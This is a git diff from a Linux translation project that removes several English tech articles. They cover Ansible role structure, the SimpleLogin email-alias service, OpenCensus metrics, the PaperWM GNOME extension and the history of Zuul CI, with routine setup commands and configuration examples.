foo.sh # <-- script files for use with the script resource - vars/ # - main.yml # <-- variables associated with this role - defaults/ # - main.yml # <-- default lower priority variables for this role - meta/ # - main.yml # <-- role dependencies - library/ # roles can also include custom modules - module_utils/ # roles can also include custom module_utils - lookup_plugins/ # or other types of plugins, like lookup in this case - - webtier/ # same kind of structure as "common" was above, done for the webtier role - monitoring/ # "" - fooapp/ # "" -``` - -If you want to use this directory structure run the command below. - -``` -$ sudo mkdir -p group_vars host_vars library module_utils filter_plugins -$ sudo mkdir -p roles/common/{tasks,handlers,templates,files,vars,defaults,meta,library,module_utils,lookup_plugins} -$ sudo touch production staging site.yml roles/common/{tasks,handlers,templates,files,vars,defaults,meta}/main.yml -``` - -The second one is appropriate when you have a very complex inventory environment. - -``` -inventories/ - production/ - hosts # inventory file for production servers - group_vars/ - group1.yml # here we assign variables to particular groups - group2.yml - host_vars/ - hostname1.yml # here we assign variables to particular systems - hostname2.yml -staging/ - hosts # inventory file for staging environment - group_vars/ - group1.yml # here we assign variables to particular groups - group2.yml - host_vars/ - stagehost1.yml # here we assign variables to particular systems - stagehost2.yml -library/ -module_utils/ -filter_plugins/ -site.yml -webservers.yml -dbservers.yml -roles/ - common/ - webtier/ - monitoring/ - fooapp/ -``` - -If you want to use this directory structure run the command below. - -``` -$ sudo mkdir -p inventories/{production,staging}/{group_vars,host_vars} -$ sudo touch inventories/{production,staging}/hosts -$ sudo mkdir -p group_vars host_vars library module_utils filter_plugins -$ sudo mkdir -p roles/common/{tasks,handlers,templates,files,vars,defaults,meta,library,module_utils,lookup_plugins} -$ sudo touch site.yml roles/common/{tasks,handlers,templates,files,vars,defaults,meta}/main.yml -``` - -### How to Create a Simple Ansible Roles Directory Structure - -By default there is no “Roles” directory in your Ansible directory, so you have to create it first. - -``` -$ sudo mkdir /etc/ansible/roles -``` - -Use the following Ansible Galaxy command to create a simple directory structure for a role. - -``` -$ sudo ansible-galaxy init [/Path/to/Role_Name] -``` - -### What’s Ansible Galaxy? - -Ansible Galaxy refers to the Galaxy Website, a free platform for finding, downloading and sharing community developed roles. - -The Galaxy website offers pre-packaged units such as roles and collections. Provisioning infrastructure, deploy applications and you’ll find plenty of roles for all the tasks that you do on a daily basis. - -While writing this article I saw **23478** results and it is growing on a daily basis. - -To prove this, we are going to create the **“webserver”** role. To do so, run the following command. - -``` -$ sudo ansible-galaxy init /etc/ansible/roles/webserver -- Role /etc/ansible/roles/webserver was created successfully -``` - -Once you have created a new role, use the tree commmand to view the detailed directory structure. - -``` -$ tree /etc/ansible/roles/webserver - -/etc/ansible/roles/webserver -├── defaults -│ └── main.yml -├── files -├── handlers -│ └── main.yml -├── meta -│ └── main.yml -├── README.md -├── tasks -│ └── main.yml -├── templates -├── tests -│ ├── inventory -│ └── test.yml -└── vars - └── main.yml - 8 directories, 8 files -``` - -It comes with 8 directories and 8 files, details are as follows. - - * **defaults:** Default variables for the role - * **handlers:** It contains handlers, which may be used by this role or even anywhere outside this role. - * **meta:** Defines some meta data for this role. - * **tasks:** It contains the main list of tasks to be executed by the role. - * **templates:** It contains templates which can be deployed via this role. - * **vars:** Other variables for the role. - - - -This is a sample playbook that sets up the Apache Web server on Debian and Red Hat-based systems. - -``` -$ sudo nano /etc/ansible/playbooks/webserver.yml - ---- -- hosts: web - become: yes - name: "Install and Configure Apache Web Server on Linux" - tasks: - - name: "Install Apache Web Server on RHEL Based Systems" - yum: name=httpd update_cache=yes state=latest - when: ansible_facts['os_family']|lower == "redhat" - - - name: "Install Apache Web Server on Debian Based Systems" - apt: name=apache2 update_cache=yes state=latest - when: ansible_facts['os_family']|lower == "debian" - - - name: "Start the Apache Web Server" - service: - name: httpd - state: started - enabled: yes - - - name: "Enable mod_rewrite module" - apache2_module: - name: rewrite - state: present - - notify: - - restart apache - - handlers: - - name: "Restart Apache2 Web Server" - service: - name: apache2 - state: restarted - - - name: "Restart httpd Web Server" - service: - name: httpd - state: restarted -``` - -Let’s break the playbook above into Ansible roles. If you only have simple contents, add them to the **“main.yml”** file, otherwise create separate **“xyz.yml”** files for each task. - -**Make a note:** **“notify”** should be included in the last task, which is why we have added it to the **“module.yml”** file. - -Create a separate task to install the Apache Web Server on Red Hat-based systems. - -``` -$ sudo vi /etc/ansible/roles/webserver/tasks/redhat.yml - ---- -- name: "Install Apache Web Server on RHEL Based Systems" - yum: - name: httpd - update_cache: yes - state: latest -``` - -Create a separate task to install the Apache Web Server on Debian-based systems. - -``` -$ sudo vi /etc/ansible/roles/webserver/tasks/debian.yml - ---- -- name: "Install Apache Web Server on Debian Based Systems" - apt: - name: apache2 - update_cache: yes - state: latest -``` - -Create a separate task to start the Apache web server on Red Hat based systems. - -``` -$ sudo vi /etc/ansible/roles/webserver/tasks/service-httpd.yml - ---- -- name: "Start the Apache Web Server" - service: - name: httpd - state: started - enabled: yes -``` - -Create a separate task to start the Apache web server on Debian based systems. - -``` -$ sudo vi /etc/ansible/roles/webserver/tasks/service-apache2.yml - ---- -- name: "Start the Apache Web Server" - service: - name: apache2 - state: started - enabled: yes -``` - -Create a separate task to copy the index file into the Apache web root directory. - -``` -$ sudo nano /etc/ansible/roles/webserver/tasks/configure.yml - ---- -- name: Copy index.html file - copy: src=files/index.html dest=/var/www/html -``` - -Create a separate task to install rewrite module on Debian based systems. - -``` -$ sudo nano /etc/ansible/roles/webserver/tasks/modules.yml - ---- -- name: "Enable mod_rewrite module" - apache2_module: - name: rewrite - state: present - - notify: - - restart apache -``` - -Finally import all tasks into the **“main.yml”** file of the Tasks directory. - -``` -$ sudo nano /etc/ansible/roles/webserver/tasks/main.yml - ---- -tasks file for /etc/ansible/roles/webserver -- import_tasks: redhat.yml - when: ansible_facts['os_family']|lower == 'redhat' - -- import_tasks: debian.yml - when: ansible_facts['os_family']|lower == 'debian' - -- import_tasks: service-httpd.yml -- import_tasks: service-apache2.yml -- import_tasks: configure.yml -- import_tasks: modules.yml - when: ansible_facts['os_family']|lower == 'debian' -``` - -Add the handler information to the **“main.yml”** file of the handlers directory. - -``` -$ sudo nano /etc/ansible/roles/webserver/handlers/main.yml - ---- -#handlers file for /etc/ansible/roles/webserver -- name: "Restart httpd Web Server" - service: - name: httpd - state: restarted - -- name: "Restart Apache2 Web Server" - service: - name: apache2 - state: restarted -``` - -Add an index.html file to the files directory. This is the file you want to copy on the target server. - -``` -$ sudo nano /etc/ansible/roles/webserver/files/index.html - -This is the test page of 2DayGeek.com for Ansible Tutorials -``` - -You have successfully broken the playbook into Ansible roles using the steps above. Now, your new Ansible role may look like the one below. - -![][4] - -If you have done everything for your Ansible role, then finally import this role into your playbook. - -``` -$ sudo nano /etc/ansible/playbooks/webserver-role.yml - ---- -- hosts: all - become: yes - name: "Install and Configure Apache Web Server on Linux" - roles: - - webserver -``` - -Once you have done everything, I advise you to check the Playbook syntax before executing it. - -``` -$ ansible-playbook /etc/ansible/playbooks/webserver-role.yml --syntax-check - -playbook: /etc/ansible/playbooks/webserver-role.yml -``` - -Finally execute the Ansible playbook to see the magic. - -![][4] - -Hope this tutorial helped you to learn about the Ansible roles. If you are satisfied, please share the article on social media. If you would like to improve this article, add your comments in the comment section. - --------------------------------------------------------------------------------- - -via: https://www.2daygeek.com/ansible-roles-quick-start-guide-with-examples/ - -作者:[Magesh Maruthamuthu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.2daygeek.com/author/magesh/ -[b]: https://github.com/lujun9972 -[1]: https://www.2daygeek.com/install-configure-ansible-automation-tool-linux-quick-start-guide/ -[2]: https://www.2daygeek.com/ansible-ad-hoc-command-quick-start-guide-with-examples/ -[3]: https://www.2daygeek.com/ansible-playbooks-quick-start-guide-with-examples/ -[4]: data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 diff --git a/sources/tech/20200204 SimpleLogin- Open Source Solution to Protect Your Email Inbox From Spammers.md b/sources/tech/20200204 SimpleLogin- Open Source Solution to Protect Your Email Inbox From Spammers.md deleted file mode 100644 index 75c8e84451..0000000000 --- a/sources/tech/20200204 SimpleLogin- Open Source Solution to Protect Your Email Inbox From Spammers.md +++ /dev/null @@ -1,158 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (SimpleLogin: Open Source Solution to Protect Your Email Inbox From Spammers) -[#]: via: (https://itsfoss.com/simplelogin/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -SimpleLogin: Open Source Solution to Protect Your Email Inbox From Spammers -====== - -_**Brief: SimpleLogin is an open-source service to help you protect your email address by giving you a permanent alias email address.**_ - -Normally, you have to use your real email address to sign up for services that you want to use personally or for your business. - -In the process, you’re sharing your email address – right? And, that potentially exposes your email address to spammers (depending on where you shared the information). - -What if you can protect your real email address by providing an alias for it instead? No – I’m not talking about disposable email addresses like 10minutemail which could be useful for temporary sign-ups – even though they’ve been blocked by certain services. - -I’m talking about something similar to “_[Hide My Emai for Sign in with Apple ID][1]_” but a free and open-source solution i.e [SimpleLogin][2]. - -### SimpleLogin: An open source service to protect your email inbox - -![][3] - -_It is worth noting that you still have to use your existing email client (or email service) to receive and send emails – but with this service, you get to hide your real email ID._ - -SimpleLogin is an open-source project (you can find it on [GitHub][4]) available for free (with premium upgrade options) that aims to keep your email private. - -Unlike temporary email services, it generates a permanent random alias for your email address that you can use to sign up for services without revealing your real email. - -The alias works as a point of contact to forward the emails intended to your real email ID. - -**You’ll receive the emails sent to the alias email address in your real email inbox and if you believe that the alias is receiving too many spams, you block the alias. This way, you completely stop getting spam emails sent to the particular aliased email address.** - -Not just limited to receiving emails but you can also send emails through the alias email address. Interesting, right? And, using this coupled with [secure email services][5] should be a good combination to protect your privacy. - -**Recommended Read:** - -![][6] - -#### [Best VPN Services for Privacy Minded Linux Users][7] - -Here are our recommendations for best VPN services for Linux users to secure their privacy and enhance their online security. Check it out. - -### Features of SimpleLogin - -![][8] - -Before taking a look at how it works, let me highlight what it offers overall to the Internet users and web developers as well: - - * Protects your real email address by generating an alias address - * Send/Recieve emails through your alias - * Block the alias if emails get too spammy - * Custom domain supported with premium plans - * You can choose to self-host it - * If you’re a web developer, you can follow the [documentation][9] to integrate a “**Sign in with SimpleLogin**” button to your login page. - - - -You can either utilize the web browser or use the extension for Firefox, Chrome and Safari. - -[SimpleLogin][2] - -### How SimpleLogin Works? - -![][10] - -To start with, you’ll have to sign up for the service with your primary email ID that you want to keep private. - -Once done – you have to use your alias email to sign up for any other services you want. - -![][11] - -The number of aliases generated is limited in the free plan – however, you can upgrade to the premium plan if you want to generate different alias email addresses for every site. - -You don’t necessarily need to use the web portal, you can use the browser extension to generate aliases and use them when needed as shown in the image below: - -![][12] - -Even if you want to send an email without revealing your real email ID, just generate an alias email by typing in the receiver’s email ID and paste the alias in your email client to send it. - -### Brief conversation with SimpleLogin’s founder - -I was quite impressed to see an open-source service like this – so I reached out to [**Son Nguyen Kim**][13] (_SimpleLogin’s founder_). Here’s a few things I asked along with the responses I got: - -**How can you assure users that they can rely on your service for their personal/business use?** - -**Son Nguyen Kim:** SimpleLogin follows all the best practices in terms of [email deliverability][14] to reduce the emails ending up in the Spam folder. To mention a few: - - * SPF, DKIM and strict DMARC - * TLS everywhere - * “Clean” IP: we made sure that our IP addresses are not blacklisted anywhere - * Constant monitoring to avoid abuses. - * Participate in email providers postmaster programs - - - -**How sustainable is your business currently? ** - -**Son Nguyen Kim:** Though in Beta, we already have paying customers. They use SimpleLogin both personally (to protect privacy) and for their business (create emails with their domains). - -**What features have you planned for the future?** - -**Son Nguyen Kim**: An iOS app is already in progress, the Android app will follow just after. - - * [PGP][15] to encrypt emails - * Able to strip images from emails. Email tracking is usually done [using a 1-pixel image][16] so tracking will also be removed with this feature enabled. - * [U2F][17] support (Yubikey) - * Better integration with existing email infrastructure for people who want to self-host SimpleLogin - - - -You can also find a public roadmap to their plans on [Trello][18]. - -**Wrapping Up** - -Personally, I would really love to see this succeed as a privacy-friendly alternative to social network sign-up options implemented on various web services. - -In addition to that, as it stands now as a service to generate alias email – that should suffice a lot of users who do not want to share their real email address. My initial impressions on SimpleLogin’s beta phase is quite positive. I’d recommend you to give it a try! - -They also have a [Patreon][19] page – if you wish to donate instead of opting for a paying customer to help the development of SimpleLogin. - -Have you tried something like this before? How exciting do you think SimpleLogin is? Feel free to share your thoughts in the comments. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/simplelogin/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://support.apple.com/en-us/HT210425 -[2]: https://simplelogin.io/ -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/simplelogin-website.jpg?ssl=1 -[4]: https://github.com/simple-login/app -[5]: https://itsfoss.com/secure-private-email-services/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2019/05/best-vpn-linux.png?fit=800%2C450&ssl=1 -[7]: https://itsfoss.com/best-vpn-linux/ -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/simplelogin-settings.jpg?ssl=1 -[9]: https://docs.simplelogin.io/ -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/simplelogin-details.png?ssl=1 -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/simplelogin-dashboard.jpg?ssl=1 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/simplelogin-extensions.jpg?ssl=1 -[13]: https://twitter.com/nguyenkims -[14]: https://blog.hubspot.com/marketing/email-delivery-deliverability -[15]: https://www.openpgp.org/ -[16]: https://www.theverge.com/2019/7/3/20681508/tracking-pixel-email-spying-superhuman-web-beacon-open-tracking-read-receipts-location -[17]: https://en.wikipedia.org/wiki/Universal_2nd_Factor -[18]: https://trello.com/b/4d6A69I4/open-roadmap -[19]: https://www.patreon.com/simplelogin diff --git a/sources/tech/20200205 OpenCensus to monitor your Kubernetes cluster.md b/sources/tech/20200205 OpenCensus to monitor your Kubernetes cluster.md deleted file mode 100644 index d0654aaf9b..0000000000 --- a/sources/tech/20200205 OpenCensus to monitor your Kubernetes cluster.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (OpenCensus to monitor your Kubernetes cluster) -[#]: via: (https://opensource.com/article/20/2/kubernetes-opencensus) -[#]: author: (Yuri Grinshteyn https://opensource.com/users/yuri-grinshteyn) - -OpenCensus to monitor your Kubernetes cluster -====== -Learn how to use OpenCensus, a set of open source libraries for -observability instrumentation and metrics tracing. -![Ship captain sailing the Kubernetes seas][1] - -In my last article in this series, I [introduced monitoring with Prometheus][2], the leading open source metric instrumentation, collection, and storage toolkit. While Prometheus has become the de facto standard for monitoring Kubernetes for many users, there may be reasons why you might choose another approach for metric telemetry. - -One reason is that using Prometheus introduces another component in your cluster that needs to be maintained and updated and will require additional management to ensure data persistence over the long term. Another reason is that Prometheus collects an incredibly large set of metrics right out of the box, and this could become cost-prohibitive in situations where metric volume is an input into your overall observability costs. - -This article will introduce you to [OpenCensus][3], a set of open source libraries for observability instrumentation. OpenCensus is the currently recommended library to use for instrumenting services to collect traces and metrics. The OpenTracing and OpenCensus projects have been merged into [OpenTelemetry][4], which will become the recommended library. - -While OpenCensus enables both metrics and distributed tracing, this article focuses on metrics by: - - * Describing the OpenCensus approach to instrumentation and its data model - * Walking through a tutorial to explain how to instrument an application, deploy a sample application, and review the metrics that you can create with OpenCensus - - - -I will revisit tracing in a future article. - -### OpenCensus basics - -OpenCensus' implementation depends on three core components: - - * The [instrumentation][5] to create metrics and record data points (varies by language) - * An [exporter][6] to send metric data to a storage backend (varies by language) - * The backend to store metrics and enable querying metric data (varies by database) - - - -To use OpenCensus in your application to record custom metrics, you will need to understand these elements for your particular programming languages and infrastructure. - -#### Instrumentation - -To understand how to instrument your application, you need first to understand OpenCensus' primitives, which are **measurements**, **measures**, **views**, and **aggregations**. - - * **Measurement:** A measurement is the most fundamental entity; it's the single data point collected that represents a value at a point in time. For example, for a latency metric measured in milliseconds (ms), a measurement of 100 could represent an event with 100ms latency. - * **Measure:** A measure represents a metric to be recorded. For example, you could use a "latency" measure to record HTTP response latency from your service. A measure is made up of a name, a description, and the units that the metric uses. For example, to measure latency, you might specify: - * Name: response_latency - * Description: latency of server response in ms - * Unit: ms - * **View:** A view is the combination of a measure, an aggregation, and optional tags. Views are the mechanism you'll use to connect to an exporter to send the captured values to a storage backend. A view includes: - * Name - * Description - * The measure that will produce measurements for this collection - * TagKeys, if you're using tags - * **Aggregations:** Each view is also required to specify an aggregation; that is, how the view will treat multiple measures. Aggregations can be one of the following: - * Count: The count of the number of measurement points in the view - * Distribution: Histogram distribution of the points in the view - * Sum: A sum of the values of the measurement points - * LastValue: Only the last recorded value in the measurement - - - -You can also refer to OpenCensus' [source][7] for additional information about the primitives. - -#### Exporters - -Once you have written the instrumentation to create measures, capture measurements, and aggregate them into views, you need an exporter to send your recorded metric data to your chosen storage backend. Unlike Prometheus, where you expose a dedicated metric endpoint to be scraped, OpenCensus works on a push model—the exporter pushes your collected data to the specified backend. You need to [choose the exporter][6] based on: - - * The language that your application and instrumentation are written in - * Available support for stats (metrics) - * The available backend options - - - -Using an exporter requires instantiating it in your code, registering it, and then registering your view to have the exporter send the collected data to the backend. - -### Leverage metrics in OpenCensus - -Now that you understand the terminology for how OpenCensus works to collect and export metrics, the next thing to learn is how metrics in OpenCensus function. Unlike [Prometheus][8], where you have to define the metric kind upfront, OpenCensus simply requires you to _collect_ the measurements and then _aggregate_ them in the _view_ before sending them to the _exporter_. The measurements support integer and float values. From there, you can use create histograms using the _distribution_ aggregation, add up the number of samples using the _count_ aggregation, or add up the collected values using the _sum_ aggregation. - -Now you have a basic understanding of what OpenCensus is, how it works, and the kinds of data it can collect and store. Download your favorite tooling (or use [my tutorial here][9] and a [quickstart lab][10]) and take OpenCensus for a spin. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/kubernetes-opencensus - -作者:[Yuri Grinshteyn][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/yuri-grinshteyn -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://opensource.com/article/19/11/introduction-monitoring-prometheus -[3]: https://opencensus.io/ -[4]: https://opentelemetry.io/ -[5]: https://github.com/census-instrumentation -[6]: https://opencensus.io/exporters/supported-exporters/ -[7]: https://opencensus.io/stats/ -[8]: https://prometheus.io/docs/concepts/metric_types/ -[9]: https://github.com/yuriatgoogle/stack-doctor -[10]: https://google.qwiklabs.com/ diff --git a/sources/tech/20200205 PaperWM, the Tiling Window Manager for GNOME.md b/sources/tech/20200205 PaperWM, the Tiling Window Manager for GNOME.md deleted file mode 100644 index 92fc598212..0000000000 --- a/sources/tech/20200205 PaperWM, the Tiling Window Manager for GNOME.md +++ /dev/null @@ -1,122 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (PaperWM, the Tiling Window Manager for GNOME) -[#]: via: (https://itsfoss.com/paperwm/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -PaperWM, the Tiling Window Manager for GNOME -====== - -Lately, tiling window managers have been gaining popularity even among the regular desktop Linux users. Unfortunately, it can be difficult and time-consuming for a user to install and set up a tiling window manager. - -This is why projects like [Regolith][1] and PaperWM has come up to provide tiling window experience with minimal efforts. - -We have already discussed [Regolith desktop][2] in details. In this article, we’ll check out PaperWM. - -### What is PaperWM? - -According to its GitHub repo, [PaperWM][3] is “an experimental [Gnome Shell extension][4] providing scrollable tiling of windows and per monitor workspaces. It’s inspired by paper notebooks and tiling window managers.” - -PaperWM puts all of your windows in a row. You can quickly switch between windows very quickly. It’s a little bit like having a long spool of paper in front of you that you can move back and forth. - -This extension supports GNOME Shell 3.28 to 3.34. It also supports both X11 and Wayland. It is written in JavaScript. - -![PaperWM Desktop][5] - -# How to Install PaperWM? - -To install the PaperWM extension, you will need to clone the Github repo. Use this command: - -``` -git clone 'https://github.com/paperwm/PaperWM.git' "${XDG_DATA_HOME:-$HOME/.local/share}/gnome-shell/extensions/[email protected]:matrix.org" -``` - -Now all you have to do is run: - -``` -./install.sh -``` - -The installer will set up and enable PaperWM. - -If you are an Ubuntu user, there are a couple of things that you will need to consider. There are currently three different versions of the Gnome desktop available with Ubuntu: - - * ubuntu-desktop - * ubuntu-gnome-desktop - * vanilla-gnome-desktop - - - -Ubuntu ships ubuntu-desktop by default and includes the _desktop-icons_ package, which causes issues with PaperWM. The PaperWM devs recommend that you turn off the desktop-icons extension [using GNOME Tweaks tool][6]. However, while this step does work in 19.10, they say that users have reported that it is not working 19.04. - -According to the PaperWM devs, using _ubuntu-gnome-desktop_ produces the best out of the box results. _vanilla-gnome-desktop_ has some keybindings that raise havoc with PaperWM. - -**Recommended Read:** - -![][7] - -#### [Get a Preconfigured Tiling Window Manager on Ubuntu With Regolith][2] - -Using tiling window manager in Linux can be tricky with all those configuration. Regolith gives you an out of box i3wm experience within Ubuntu. - -### How to Use PaperWM? - -Like most tiling window managers, PaperWM uses the keyboard to control and manage the windows. PaperWM also supports mouse and touchpad controls. For example, if you have Wayland installed, you can use a three-fingered swipe to navigate. - -![PaperWM in action][8] - -Here is a list of a few of the keybinding that preset in PaperWM: - - * Super + , or Super + . to activate the next or previous window - * Super + Left or Super + Rightto activate the window to the left or right - * Super + Up or Super + Downto activate the window above or below - * Super + , or Super + . to activate the next or previous window - * Super + Tab or Alt + Tab to cycle through the most recently used windows - * Super + C to center the active window horizontally - * Super + R to resize the window (cycles through useful widths) - * Super + Shift + R to resize the window (cycles through useful heights) - * Super + Shift + F to toggle fullscreen - * Super + Return or Super + N to create a new window from the active application - * Super + Backspace to close the active window - - - -The Super key is the Windows key on your keyboard. You can find the full list of keybindings on the PaperWM [GitHub page][9]. - -### Final Thoughts on PaperWM - -As I have stated previously, I don’t use tiling managers. However, this one has me thinking. I like the fact that you don’t have to do a lot of configuring to get it working. Another big plus is that it is built on GNOME, which means that getting a tiling manager working on Ubuntu is fairly straight forward. - -The only downside that I can see is that a system running a dedicated tiling window manager, like [Sway][10], would use fewer system resources and be faster overall. - -What are your thoughts on the PaperWM GNOME extension? Please let us know in the comments below. - -If you found this article interesting, please take a minute to share it on social media, Hacker News or [Reddit][11]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/paperwm/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://regolith-linux.org/ -[2]: https://itsfoss.com/regolith-linux-desktop/ -[3]: https://github.com/paperwm/PaperWM -[4]: https://itsfoss.com/gnome-shell-extensions/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/paperwm-desktop.png?ssl=1 -[6]: https://itsfoss.com/gnome-tweak-tool/ -[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2019/09/regolith-linux.png?fit=800%2C450&ssl=1 -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/01/paperwm-desktop2.png?fit=800%2C450&ssl=1 -[9]: https://github.com/paperwm/PaperWM#usage -[10]: https://itsfoss.com/sway-window-manager/ -[11]: https://reddit.com/r/linuxusersgroup diff --git a/sources/tech/20200207 Introducing Zuul for improved CI-CD.md b/sources/tech/20200207 Introducing Zuul for improved CI-CD.md deleted file mode 100644 index 54144443af..0000000000 --- a/sources/tech/20200207 Introducing Zuul for improved CI-CD.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Introducing Zuul for improved CI/CD) -[#]: via: (https://opensource.com/article/20/2/zuul) -[#]: author: (Jeremy Stanley https://opensource.com/users/fungi) - -Introducing Zuul for improved CI/CD -====== -A quick history of how and why Zuul is replacing Jenkins in CI testing -in the OpenStack community. -![Plumbing tubes in many directions][1] - -[Jenkins][2] is a marvelous piece of software. As an execution and automation engine, it's one of the best you're going to find. Jenkins serves as a key component in countless continuous integration (CI) systems, and this is a testament to the value of what its community has built over the years. But that's what it is­­—a component. Jenkins is not a CI system itself; it just runs things for you. It does that really well and has a variety of built-ins and a vibrant ecosystem of plugins to help you tell it what to run, when, and where. - -CI is, at the most fundamental level, about integrating the work of multiple software development streams into a coherent whole with as much frequency and as little friction as possible. Jenkins, on its own, doesn't know about your source code or how to merge it together, nor does it know how to give constructive feedback to you and your colleagues. You can, of course, glue it together with other software that can perform these activities, and this is how many CI systems incorporate Jenkins. - -It's what we did for OpenStack, too, at least at first. - -### If it's not tested, it's broken - -In 2010, an open source community of projects called [OpenStack][3] was forming. Some of the developers brought in to assist with the collaboration infrastructure also worked on a free database project called [Drizzle][4], and a key philosophy within that community was the idea "if it's not tested, it's broken." So OpenStack, on day one, required all proposed changes of its software to be reviewed and tested for regressions before they could be approved to merge into the trunk of any source code repositories. To do this, Hudson (which later forked to form the Jenkins project) was configured to run tests exercising every change. - -A plugin was installed to interface with the [Gerrit][5] code review system, automatically triggering jobs when new changes were proposed and reporting back with review comments indicating whether they succeeded or failed. This may sound rudimentary by today's standards, but at the time, it was a revolutionary advancement for an open source collaboration. No developer on OpenStack was special in the eyes of CI, and everyone's changes had to pass this growing battery of tests before they could merge—a concept the project called "project gating." - -There was, however, an emerging flaw with this gating idea: To guarantee two unrelated changes didn't alter a piece of software in functionally incompatible ways, they had to be tested one at a time in sequence before they could merge. OpenStack was complicated to install and test, even back then, and quickly grew in popularity. The rising volume of developer contributions coupled with increasing test coverage meant that, during busy periods, there was simply not enough time to test every change that passed review. Some longer-running jobs took nearly an hour to complete, so the upper bound for what could get through the gate was roughly two dozen changes in a day. The resulting merge backlog showed a new solution was required. - -### Enter Zuul - -During an OpenStack CI meeting in May 2012, one of the CI team members, James Blair, [announced][6] that he'd "been working on speculative execution of Jenkins jobs." **Speculative execution** is an optimization most commonly found in the pipelines of modern microprocessors. Much like the analogy with processor hardware, the theory was that by optimistically predicting positive gating results for changes recently approved but that had not yet completed their tests, subsequently approved changes could be tested concurrently and then conditionally merged as long as their predecessors also passed tests and merged. James said he had a name for this intelligent scheduler: [Zuul][7]. - -Within this time frame, challenges from trying to perform better revision control for Jenkins' XML job configuration led to the creation of the human-readable YAML-based [Jenkins Job Builder][8] templating engine. Limited success with the JClouds plugin for Jenkins and cumbersome attempts to use jobs for refreshing cloud images of single-use Jenkins slaves ended with the creation of the [Nodepool][9] service. Limited log-storage capabilities resulted in the team adding separate external solutions for organizing, serving, and indexing job logs and assuming maintainership of an abandoned secure copy protocol (SCP) plugin replacing the less-secure FTP option that Jenkins provided out of the box. The OpenStack infrastructure team was slowly building a fleet of services and utilities around Jenkins but began to bump up against a performance limitation. - -### Multiplying Jenkins - -By mid-2013, Nodepool was constantly recycling as many as 100 virtual machines registered with Jenkins as slaves, but this was no longer enough to keep up with the growing workload. Thread contention for global locks in Jenkins thwarted all attempts to push past this threshold, no matter how much processor power and memory was thrown at the master server. The project had offers to donate additional capacity for Jenkins slaves to help relieve the frequent job backlog, but this would require an additional Jenkins master. The efficient division of work between multiple masters needed a new channel of communication for dispatch and coordination of jobs. Zuul's maintainers identified the [Gearman][10] job server protocol as an ideal fit, so they outfitted Zuul with a new [geard][11] service and extended Jenkins with a custom Gearman client plugin. - -Now that jobs were spread across a growing assembly of Jenkins masters, there was no longer any single dashboard with a complete view of job activity and results. In order to facilitate this new multi-master world, Zuul grew its own status API and WebUI, as well as a feature to emit metrics through the [StatsD][12] protocol. Over the next few years, Zuul steadily subsumed more of the CI features its users relied on, while Jenkins' place in the system waned accordingly, and it was becoming a liability. OpenStack made an early choice to standardize on the Python programming language; this was reflected in Zuul's development, yet Jenkins and its plugins were implemented in Java. Zuul's configuration was maintained in the same YAML serialization format that OpenStack used to template its own Jenkins jobs, while Jenkins kept everything in baroque XML. These differences complicated ongoing maintenance and led to an unnecessarily steep learning curve for new administrators from related communities that had started trying to run Zuuls. - -The time was right for another revolution. - -### The rise of Ansible - -In early 2016, Zuul's maintainers embarked on an ambitious year-long overhaul of their growing fleet of services with the goal of eliminating Jenkins from the overall system design. By this time, Jenkins was serving only as a conduit for running jobs consisting mostly of shell scripts on slave nodes over SSH, providing real-time streaming of job output and copying resulting artifacts to longer-term storage. [Ansible][13] was found to be a great fit for that first need; purpose-built to run commands remotely over SSH, it was written in Python, just like Zuul, and also used YAML to define its tasks. It even had built-in modules for features the team had previously implemented as bespoke Jenkins plugins. Ansible provided true multi-node support right out of the box, 